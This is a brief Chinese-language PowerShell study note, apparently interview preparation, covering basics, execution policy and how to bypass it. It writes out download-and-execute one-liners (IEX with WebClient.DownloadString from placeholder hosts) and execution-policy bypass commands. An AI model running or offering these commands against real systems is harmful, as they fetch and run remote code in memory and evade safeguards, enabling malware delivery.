一、什么是Powershell?
Powershell是微软开发的命令行shell和脚本语言,它基于.Net框架,专门为--系统管理--和配置任务设计。Powershell引入了传统的命令行功能并添加了cmdlet增强--系统管理--能力。
二、如何打开Powershell?
1.在cmd命令行里输入Powershell
2.win+s搜索栏里查找Powershell
三、Powershell与CMD的区别?
四、Powershell的使用?
Powershell本地执行脚本:powershell -f test.ps1 或 powershell -ep bypass -f test.ps1
Powershell加载远程执行脚本(重点):
powershell -c "Invoke-Expression(New-Object System.Net.WebClient).DownloadString('http://example.com/abc')"
或
powershell -c "(New-Object System.Net.WebClient).DownloadString('http://example.com/abc') | Invoke-Expression"
注:
-c:(Command)在powershell中执行命令
Invoke-Expression :IEX用来把字符串当作命令行执行
WebClinet类(System.Net):提供用于将数据发送到URL标识对的资源以及从这样的资源接收数据的常用方法。
WebClinet.DownloadString方法:以String形式下载请求的资源。可以包含URL的string或URL的形式指定要下载的资源。
**上面这串命令行可以理解为以string的形式远程下载脚本文件,创建一个新的对象加载到本地内存执行。
五、什么是Powershell脚本执行策略?
Powershell的安全特性用于确定在系统上执行哪些策略
默认情况下不允许我们执行或运行脚本,所以前面的 powershell -ep bypass -f test.ps1要加一个-ep bypass 。ep想到于ExecutionPolicy。
查看当前执行策略:Get-ExecutionPolicy
将执行策略设置为Bypass: Set-ExecutionPolicy Bypass
默认情况下执行策略是Restricted
六、如何绕过执行策略
powershell get-content a.ps1 | powershell -noprofile - #本地读取然后通过管道符运行
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a.ps1')" #远程下载并通过IEX执行脚本
powershell -ep bypass -File ./a.ps1 #bypass绕过
关于Powershell的命令使用方法这里就不说了,太多了自行百度。上面的内容面试中给容易问到